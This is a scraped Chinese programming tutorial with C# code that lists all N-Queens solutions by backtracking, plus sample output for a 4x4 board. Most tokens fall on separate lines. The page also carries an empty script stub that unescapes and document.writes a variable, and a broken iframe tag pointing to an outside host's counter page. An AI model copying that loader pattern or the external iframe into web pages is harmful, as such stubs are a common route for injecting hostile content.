HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
使用C#求解N皇后问题。
下面这个算法实现了列出所有可能放置的情况。
using
System;
namespace
Queen
{
public
class
NQueen
{
private
int
m_N;
//
m_N
维的皇后放置问题。
private
int
[,] m_Houses;
//
放置皇后矩阵。
private
int
resultNum = 0;
//
结果数量
//
初始化矩阵，
0
为没有被放置，
1
为有皇后存在的位置。
public
NQueen(
int
n)
{
m_N = n;
m_Houses =
new
int
[m_N,m_N];
for
(
int
i=0;i<m_N;i++)
for
(
int
j=0;j<m_N;j++)
m_Houses[i,j] = 0;
}
//
显示当前矩阵情况。
public
void
Display()
{
for
(
int
i=0;i<m_N;i++)
{
for
(
int
j=0;j<m_N;j++)
{
Console.Write(m_Houses[i,j].ToString() + " ");
}
Console.WriteLine();
}
}
//
判断当前位置是否可以放置皇后。
private
bool
isCurrentCanPlaced(
int
row,
int
col )
{
int
i,j;
for
( i=0;i< row ;i++)
{
if
(m_Houses[i,col] != 0)
return
false
;
}
for
(i = row-1,j=col -1; i>=0 && j>=0 ;i--,j--)
{
if
(m_Houses[i,j] != 0)
return
false
;
}
for
(i = row-1,j=col +1; i>=0 && j<m_N ;i--,j++)
{
if
(m_Houses[i,j] != 0)
return
false
;
}
return
true
;
}
//
将当前行的所有位置都置为可以放置
private
void
ResetRow(
int
row)
{
for
(
int
j=0; j<m_N;j++)
m_Houses[row,j] = 0;
}
//
查找所有放置的可能。
public
void
Solve(
int
row)
{
//
如果这是最后以行，说明前面的所有行上都成功放置了皇后
if
(row == m_N -1)
{
for
(
int
col = 0;col<m_N;col++)
{
//
如果当前位置可以放置，说明找到一个解
if
(isCurrentCanPlaced(row,col) ==
true
)
{
m_Houses[row,col] = 1;
Console.WriteLine("*********
" + (++resultNum).ToString() + "
*************");
Display();
Console.WriteLine();
m_Houses[row,col] = 0;
}
}
return
;
}
for
(
int
col = 0;col<m_N;col++)
{
ResetRow(row);
if
(isCurrentCanPlaced(row,col) ==
true
)
{
m_Houses[row,col] = 1;
Solve(row + 1);
}
}
}
public
static
void
Main
()
{
NQueen a=
new
NQueen(4);
a.Solve(0);
}
}
}
执行结果如下：
**********
1
************
0 1 0 0
0 0 0 1
1 0 0 0
0 0 1 0
**********
2
************
0 0 1 0
1 0 0 0
0 0 0 1
0 1 0 0
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
